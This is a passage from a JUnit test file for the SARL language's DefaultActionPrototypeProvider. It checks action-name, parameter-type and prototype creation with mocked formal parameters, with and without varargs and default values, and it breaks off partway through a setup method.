text
stringlengths
7
99.5k
meta
dict
/* * $Id$ * * SARL is an general-purpose agent programming language. * More details on http://www.sarl.io * * Copyright (C) 2014-2020 the original authors or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.sarl.lang.tests.modules.actionprototype; import static io.sarl.tests.api.tools.TestAssertions.assertContainsStrings; import static io.sarl.tests.api.tools.TestEObjects.file; import static io.sarl.tests.api.tools.TestEObjects.getType; import static io.sarl.tests.api.tools.TestMockito.mock; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertSame; import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; import static org.mockito.Mockito.when; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Objects; import com.google.inject.Inject; import org.eclipse.emf.common.util.BasicEList; import org.eclipse.emf.common.util.ECollections; import org.eclipse.emf.common.util.EList; import org.eclipse.emf.common.util.URI; import org.eclipse.emf.ecore.resource.Resource; import org.eclipse.xtend.core.xtend.XtendParameter; import org.eclipse.xtext.common.types.JvmAnnotationReference; import org.eclipse.xtext.common.types.JvmAnnotationType; import org.eclipse.xtext.common.types.JvmFormalParameter; import org.eclipse.xtext.common.types.JvmIdentifiableElement; import org.eclipse.xtext.common.types.JvmTypeReference; import org.eclipse.xtext.common.types.TypesPackage; import org.eclipse.xtext.xbase.XExpression; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Nested; import org.junit.jupiter.api.Tag; import org.junit.jupiter.api.Test; import org.mockito.ArgumentMatchers; import org.mockito.invocation.InvocationOnMock; import org.mockito.stubbing.Answer; import org.opentest4j.AssertionFailedError; import io.sarl.lang.annotation.DefaultValue; import io.sarl.lang.sarl.SarlAction; import io.sarl.lang.sarl.SarlAgent; import io.sarl.lang.sarl.SarlFormalParameter; import io.sarl.lang.sarl.SarlScript; import io.sarl.lang.sarl.actionprototype.ActionParameterTypes; import io.sarl.lang.sarl.actionprototype.ActionPrototype; import io.sarl.lang.sarl.actionprototype.DefaultActionPrototypeProvider; import io.sarl.lang.sarl.actionprototype.FormalParameterProvider; import io.sarl.lang.sarl.actionprototype.IActionPrototypeContext; import io.sarl.lang.sarl.actionprototype.InferredPrototype; import io.sarl.lang.sarl.actionprototype.InferredStandardParameter; import io.sarl.lang.sarl.actionprototype.InferredValuedParameter; import io.sarl.lang.sarl.actionprototype.QualifiedActionName; import io.sarl.tests.api.AbstractSarlTest; import io.sarl.tests.api.Nullable; /** * @author $Author: sgalland$ * @version $FullVersion$ * @mavengroupid $GroupId$ * @mavenartifactid $ArtifactId$ */ @SuppressWarnings({"javadoc", "nls", "incomplete-switch"}) @DisplayName("DefaultActionPrototypeProvider") @Tag("core") @Tag("unit") public class DefaultActionPrototypeProviderTest extends AbstractSarlTest { static int index; static JvmIdentifiableElement createJvmIdentifiableElementStub() { ++index; Resource resource = mock(Resource.class); when(resource.getURI()).thenReturn(URI.createFileURI("/path/to/io/sarl/tests/Stub" + index + ".sarl")); JvmIdentifiableElement container = mock(JvmIdentifiableElement.class); when(container.eResource()).thenReturn(resource); when(container.getQualifiedName()).thenReturn("io.sarl.tests.Stub" + index); return container; } static void assertSameFormalParameters(List<? extends XtendParameter> expected, FormalParameterProvider actual) { assertEquals(expected.size(), actual.getFormalParameterCount()); for (int i = 0; i < expected.size(); ++i) { assertEquals(expected.get(i).getName(), actual.getFormalParameterName(i)); assertEquals(expected.get(i).getParameterType().getQualifiedName(), actual.getFormalParameterType(i, false)); if (expected.get(i) instanceof SarlFormalParameter) { assertSame(((SarlFormalParameter) expected.get(i)).getDefaultValue(), actual.getFormalParameterDefaultValue(i)); } else { assertNull(actual.getFormalParameterDefaultValue(i)); } } } static void assertSameJvmFormalParameters(List<? extends JvmFormalParameter> expected, FormalParameterProvider actual) { assertEquals(expected.size(), actual.getFormalParameterCount()); for (int i = 0; i < expected.size(); ++i) { assertEquals(expected.get(i).getName(), actual.getFormalParameterName(i)); assertEquals(expected.get(i).getParameterType().getQualifiedName(), actual.getFormalParameterType(i, false)); } } private static boolean matchPrototype(List<InferredStandardParameter> parameters, Object[] expected) { int i = 0; for (InferredStandardParameter parameter : parameters) { if (i >= expected.length || !((Class<?>) expected[i]).isInstance(parameter)) { return false; } ++i; if (i >= expected.length || !parameter.getType().getIdentifier().equals(expected[i])) { return false; } ++i; if (i >= expected.length || !parameter.getName().equals(expected[i])) { return false; } ++i; if (parameter instanceof InferredValuedParameter) { String arg = ((InferredValuedParameter) parameter).getCallingArgument(); if (i >= expected.length || !arg.equals(expected[i])) { return false; } ++i; } } return true; } private static void assertPrototypes( List<InferredStandardParameter> parameters, Collection<Object[]> expected, Object[][] originalExpected) { Iterator<Object[]> iterator = expected.iterator(); while (iterator.hasNext()) { if (matchPrototype(parameters, iterator.next())) { iterator.remove(); return; } } throw new AssertionFailedError("Not same parameter prototype.", parameters.toString(), toString(originalExpected)); } private static String toString(Object[][] array) { StringBuilder b = new StringBuilder(); b.append("[\n"); boolean addcoma = false; for (Object[] d : array) { if (addcoma) { b.append(",\n"); } else { addcoma = true; } b.append(toString(d)); } b.append("]"); return b.toString(); } private static String toString(Object[] array) { StringBuilder b = new StringBuilder(); b.append(" [ "); boolean addcoma = false; for (Object o : array) { if (addcoma) { b.append(",\n "); } else { addcoma = true; } b.append(o==null ? "null" : o.toString()); } b.append(" ]"); return b.toString(); } static void assertPrototypes( Map<ActionParameterTypes, List<InferredStandardParameter>> elements, Object[]... expected) { Collection<Object[]> expectedElements = new ArrayList<>(); for (int i = 0; i < expected.length; ++i) { expectedElements.add(expected[i]); } for (List<InferredStandardParameter> parameters : elements.values()) { assertPrototypes(parameters, expectedElements, expected); } if (!expectedElements.isEmpty()) { throw new AssertionFailedError( "Not same prototypes", expectedElements.toString(), elements.toString()); } } static void assertPrototypes( List<InferredStandardParameter> elements, Object... expected) { if (!matchPrototype(elements, expected)) { fail("Expected elements: " + toString(expected) + "; but is: " + elements.toString()); } } /** * @author $Author: sgalland$ * @version $FullVersion$ * @mavengroupid $GroupId$ * @mavenartifactid $ArtifactId$ */ @Nested @DisplayName("DefaultActionPrototypeProvider without default values") public class NoDefaultValues extends AbstractSarlTest { @Inject private DefaultActionPrototypeProvider provider; @Nullable private IActionPrototypeContext context; @Nullable private FormalParameterProvider parameterProvider; @Nullable private EList<SarlFormalParameter> sarlParameters; @Nullable private EList<JvmFormalParameter> jvmParameters; @BeforeEach public void setUp() throws Exception { this.context = this.provider.createContext(); this.parameterProvider = mock(FormalParameterProvider.class); when(this.parameterProvider.getFormalParameterCount()).thenReturn(3); when(this.parameterProvider.getFormalParameterName(ArgumentMatchers.anyInt())).thenAnswer(new Answer<String>() { @Override public String answer(InvocationOnMock invocation) throws Throwable { switch(((Integer) invocation.getArguments()[0]).intValue()) { case 0: return "firstarg"; case 1: return "secondarg"; case 2: return "thirdarg"; } return null; } }); when(this.parameterProvider.getFormalParameterType(ArgumentMatchers.anyInt(), ArgumentMatchers.anyBoolean())).thenAnswer(new Answer<String>() { @Override public String answer(InvocationOnMock invocation) throws Throwable { switch(((Integer) invocation.getArguments()[0]).intValue()) { case 0: return "java.lang.String"; case 1: return "float"; case 2: return "java.lang.Object[]"; } return null; } }); // SarlFormalParameter p; this.sarlParameters = new BasicEList<>(); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("firstarg"); JvmTypeReference ref = getType(getParseHelper(), "java.lang.String"); when(p.getParameterType()).thenReturn(ref); this.sarlParameters.add(p); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("secondarg"); ref = getType(getParseHelper(), "float"); when(p.getParameterType()).thenReturn(ref); this.sarlParameters.add(p); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("thirdarg"); ref = getType(getParseHelper(), "java.lang.Object"); when(p.getParameterType()).thenReturn(ref); this.sarlParameters.add(p); // JvmFormalParameter jp; this.jvmParameters = new BasicEList<>(); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("firstarg"); ref = getType(getParseHelper(), "java.lang.String"); when(jp.getParameterType()).thenReturn(ref); when(jp.getAnnotations()).thenReturn(new BasicEList<JvmAnnotationReference>()); this.jvmParameters.add(jp); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("secondarg"); ref = getType(getParseHelper(), "float"); when(jp.getParameterType()).thenReturn(ref); when(jp.getAnnotations()).thenReturn(new BasicEList<JvmAnnotationReference>()); this.jvmParameters.add(jp); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("thirdarg"); ref = getType(getParseHelper(), "java.lang.Object[]"); when(jp.getParameterType()).thenReturn(ref); when(jp.getAnnotations()).thenReturn(new BasicEList<JvmAnnotationReference>()); this.jvmParameters.add(jp); } @Test public void validateTypeOfVarArgInSarl() throws Exception { SarlScript s = file(getParseHelper(), "agent Foo { def fooFct(a : float, b : Object*) {} }"); SarlFormalParameter param = (SarlFormalParameter) ((SarlAction) ((SarlAgent) s.getXtendTypes().get(0)) .getMembers().get(0)).getParameters().get(1); assertNotNull(param); assertEquals("java.lang.Object", param.getParameterType().getIdentifier()); } @Test public void createQualifiedActionName() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); final String xtextResourceID = container.eResource().getURI().toString(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); assertNotNull(qn); assertEquals("myfct", qn.getActionName()); // xtextResourceID == "file:/path/to/io/sarl/tests/Stub"+index+".sarl" assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index, qn.getContainerID()); assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index+"#myfct", qn.toString()); } @Test public void createConstructorQualifiedName() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); final String xtextResourceID = container.eResource().getURI().toString(); QualifiedActionName qn = this.provider.createConstructorQualifiedName(container); assertNotNull(qn); assertEquals("new", qn.getActionName()); // xtextResourceID == "file:/path/to/io/sarl/tests/Stub"+index+".sarl" assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index, qn.getContainerID()); assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index+"#new", qn.toString()); } @Test public void createParameterTypesForVoid() { ActionParameterTypes key = this.provider.createParameterTypesForVoid(); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypes_varArgs() { ActionParameterTypes key = this.provider.createParameterTypes(true, this.parameterProvider); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object*", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypes_noVarArgs() { ActionParameterTypes key = this.provider.createParameterTypes(false, this.parameterProvider); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object[]", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromString_empty() { ActionParameterTypes key = this.provider.createParameterTypesFromString(""); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromString_void() { ActionParameterTypes key = this.provider.createParameterTypesFromString("void"); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromString_Void() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.Void"); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromString_String_noVargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String", key.toString()); assertEquals(1, key.size()); assertEquals("java.lang.String", key.get(0)); } @Test public void createParameterTypesFromString_StringFloat_noVargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float", key.toString()); assertEquals(2, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); } @Test public void createParameterTypesFromString_StringFloatObject_noVargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float,java.lang.Object"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object", key.get(2)); } @Test public void createParameterTypesFromString_String_vargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String*"); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String*", key.toString()); assertEquals(1, key.size()); assertEquals("java.lang.String[]", key.get(0)); } @Test public void createParameterTypesFromString_StringFloat_vargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float*"); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float*", key.toString()); assertEquals(2, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float[]", key.get(1)); } @Test public void createParameterTypesFromString_StringFloatObject_vargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float,java.lang.Object*"); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object*", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromString_String_noVargArg_array() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String[]"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String[]", key.toString()); assertEquals(1, key.size()); assertEquals("java.lang.String[]", key.get(0)); } @Test public void createParameterTypesFromString_StringFloat_noVargArg_array() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float[]"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float[]", key.toString()); assertEquals(2, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float[]", key.get(1)); } @Test public void createParameterTypesFromString_StringFloatObject_noVargArg_array() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float,java.lang.Object[]"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object[]", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromSarlModell_void() { ActionParameterTypes key = this.provider.createParameterTypesFromSarlModel(false, new BasicEList<SarlFormalParameter>()); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromSarlModel_noVarArg() { ActionParameterTypes key = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object", key.get(2)); } @Test public void createParameterTypesFromSarlModel_varArg() { ActionParameterTypes key = this.provider.createParameterTypesFromSarlModel(true, this.sarlParameters); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object*", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromJvmModel_void() { ActionParameterTypes key = this.provider.createParameterTypesFromJvmModel(false, new BasicEList<JvmFormalParameter>()); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromJvmModel_noVarArg() { ActionParameterTypes key = this.provider.createParameterTypesFromJvmModel(false, this.jvmParameters); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object[]", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromJvmModel_varArg() { ActionParameterTypes key = this.provider.createParameterTypesFromJvmModel(true, this.jvmParameters); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object*", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createActionPrototype_void() { ActionParameterTypes params = this.provider.createParameterTypesFromJvmModel(true, new BasicEList<JvmFormalParameter>()); ActionPrototype prototype = this.provider.createActionPrototype("myfct", params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName()); assertSame(params, prototype.getParametersTypes()); } @Test public void createActionPrototype_noVarArg() { ActionParameterTypes params = this.provider.createParameterTypesFromJvmModel(false, this.jvmParameters); ActionPrototype prototype = this.provider.createActionPrototype("myfct", params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName()); assertSame(params, prototype.getParametersTypes()); } @Test public void createActionPrototype_varArg() { ActionParameterTypes params = this.provider.createParameterTypesFromJvmModel(true, this.jvmParameters); ActionPrototype prototype = this.provider.createActionPrototype("myfct", params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName()); assertSame(params, prototype.getParametersTypes()); } @Test public void createPrototypeFromSarlModel_void() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); EList<SarlFormalParameter> params = new BasicEList<>(); // InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, false, params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameFormalParameters(params, prototype.getFormalParameters()); assertEquals("", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), ""); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromSarlModel_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameFormalParameters(this.sarlParameters, prototype.getFormalParameters()); assertEquals( "java.lang.String,float,java.lang.Object", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,float,java.lang.Object"); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromSarlModel_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameFormalParameters(this.sarlParameters, prototype.getFormalParameters()); assertEquals("java.lang.String,float,java.lang.Object*", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,float,java.lang.Object*"); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromJvmModel_void() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); EList<JvmFormalParameter> params = new BasicEList<>(); // InferredPrototype prototype = this.provider.createPrototypeFromJvmModel(this.context, qn, false, params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameJvmFormalParameters(params, prototype.getFormalParameters()); assertEquals("", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), ""); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromJvmModel_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromJvmModel(this.context, qn, false, this.jvmParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameJvmFormalParameters(this.jvmParameters, prototype.getFormalParameters()); assertEquals( "java.lang.String,float,java.lang.Object[]", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,float,java.lang.Object[]"); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromJvmModel_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromJvmModel(this.context, qn, true, this.jvmParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameJvmFormalParameters(this.jvmParameters, prototype.getFormalParameters()); assertEquals("java.lang.String,float,java.lang.Object*", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,float,java.lang.Object*"); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void getPrototypesQualifiedActionName_noCreatedPrototype() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // Iterable<InferredPrototype> iterable = this.provider.getPrototypes(this.context, qn); assertNotNull(iterable); assertFalse(iterable.iterator().hasNext()); } @Test public void getPrototypesQualifiedActionName_createdPrototype_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); // Iterable<InferredPrototype> iterable = this.provider.getPrototypes(this.context, qn); assertNotNull(iterable); Iterator<InferredPrototype> iterator = iterable.iterator(); assertTrue(iterator.hasNext()); InferredPrototype prototype = iterator.next(); assertSame(expected, prototype); assertFalse(iterator.hasNext()); } @Test public void getPrototypesQualifiedActionName_createdPrototype_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); // Iterable<InferredPrototype> iterable = this.provider.getPrototypes(this.context, qn); assertNotNull(iterable); Iterator<InferredPrototype> iterator = iterable.iterator(); assertTrue(iterator.hasNext()); InferredPrototype prototype = iterator.next(); assertSame(expected, prototype); assertFalse(iterator.hasNext()); } @Test public void getPrototypesQualifiedActionNameActionParameterTypes_noCreatedPrototype() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); // InferredPrototype prototype = this.provider.getPrototypes(this.context, qn, types); assertNull(prototype); } @Test public void getPrototypesQualifiedActionNameActionParameterTypes_createdPrototype_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); // InferredPrototype prototype = this.provider.getPrototypes(this.context, qn, types); assertNotNull(prototype); assertSame(expected, prototype); } @Test public void getPrototypesQualifiedActionNameActionParameterTypes_createdPrototype_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(true, this.sarlParameters); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); // InferredPrototype prototype = this.provider.getPrototypes(this.context, qn, types); assertNotNull(prototype); assertSame(expected, prototype); } @Test public void resetPrototypes_noCreatedProtype() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); assertNotNull(types); // assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); this.context.release(); assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); } @Test public void resetPrototypes_createdProtype_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); assertNotNull(types); InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); assertNotNull(prototype); // assertTrue(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); this.context.release(); assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); } @Test public void resetPrototypes_createdProtype_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(true, this.sarlParameters); assertNotNull(types); InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); assertNotNull(prototype); // assertTrue(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); this.context.release(); assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); } } /** * @author $Author: sgalland$ * @version $FullVersion$ * @mavengroupid $GroupId$ * @mavenartifactid $ArtifactId$ */ @Nested @DisplayName("DefaultActionPrototypeProvider with default values") public class DefaultValues extends AbstractSarlTest { @Inject private DefaultActionPrototypeProvider provider; @Nullable private IActionPrototypeContext context; @Nullable private FormalParameterProvider parameterProvider; @Nullable private EList<SarlFormalParameter> sarlParameters; @Nullable private EList<JvmFormalParameter> jvmParameters; @BeforeEach public void setUp() throws Exception { this.context = this.provider.createContext(); this.parameterProvider = mock(FormalParameterProvider.class); when(this.parameterProvider.getFormalParameterCount()).thenReturn(4); when(this.parameterProvider.getFormalParameterName(ArgumentMatchers.anyInt())).thenAnswer((invocation) -> { switch(((Integer) invocation.getArguments()[0]).intValue()) { case 0: return "firstarg"; case 1: return "secondarg"; case 2: return "thirdarg"; case 3: return "fourtharg"; } return null; }); when(this.parameterProvider.getFormalParameterType(ArgumentMatchers.anyInt(), ArgumentMatchers.anyBoolean())).thenAnswer((invocation) -> { switch(((Integer) invocation.getArguments()[0]).intValue()) { case 0: return "java.lang.String"; case 1: return "int"; case 2: return "float"; case 3: return "java.lang.Object[]"; } return null; }); when(this.parameterProvider.hasFormalParameterDefaultValue(ArgumentMatchers.anyInt())).thenAnswer((invocation) -> { switch(((Integer) invocation.getArguments()[0]).intValue()) { case 0: case 2: return Boolean.TRUE; } return Boolean.FALSE; }); // SarlFormalParameter p; this.sarlParameters = new BasicEList<>(); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("firstarg"); JvmTypeReference ref = getType(getParseHelper(), "java.lang.String"); when(p.getParameterType()).thenReturn(ref); when(p.getDefaultValue()).thenReturn(mock(XExpression.class)); this.sarlParameters.add(p); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("secondarg"); ref = getType(getParseHelper(), "int"); when(p.getParameterType()).thenReturn(ref); this.sarlParameters.add(p); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("thirdarg"); ref = getType(getParseHelper(), "float"); when(p.getParameterType()).thenReturn(ref); when(p.getDefaultValue()).thenReturn(mock(XExpression.class)); this.sarlParameters.add(p); p = mock(SarlFormalParameter.class); when(p.getName()).thenReturn("fourtharg"); ref = getType(getParseHelper(), "java.lang.Object"); when(p.getParameterType()).thenReturn(ref); this.sarlParameters.add(p); // JvmFormalParameter jp; this.jvmParameters = new BasicEList<>(); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("firstarg"); ref = getType(getParseHelper(), "java.lang.String"); when(jp.getParameterType()).thenReturn(ref); JvmAnnotationType annotationType = mock(JvmAnnotationType.class); when(annotationType.getQualifiedName()).thenReturn(DefaultValue.class.getName()); JvmAnnotationReference annotationRef = mock(JvmAnnotationReference.class); when(annotationRef.getAnnotation()).thenReturn(annotationType); when(jp.getAnnotations()).thenReturn(ECollections.singletonEList(annotationRef)); when(jp.eIsSet(ArgumentMatchers.any())).thenAnswer((invocation) -> { if 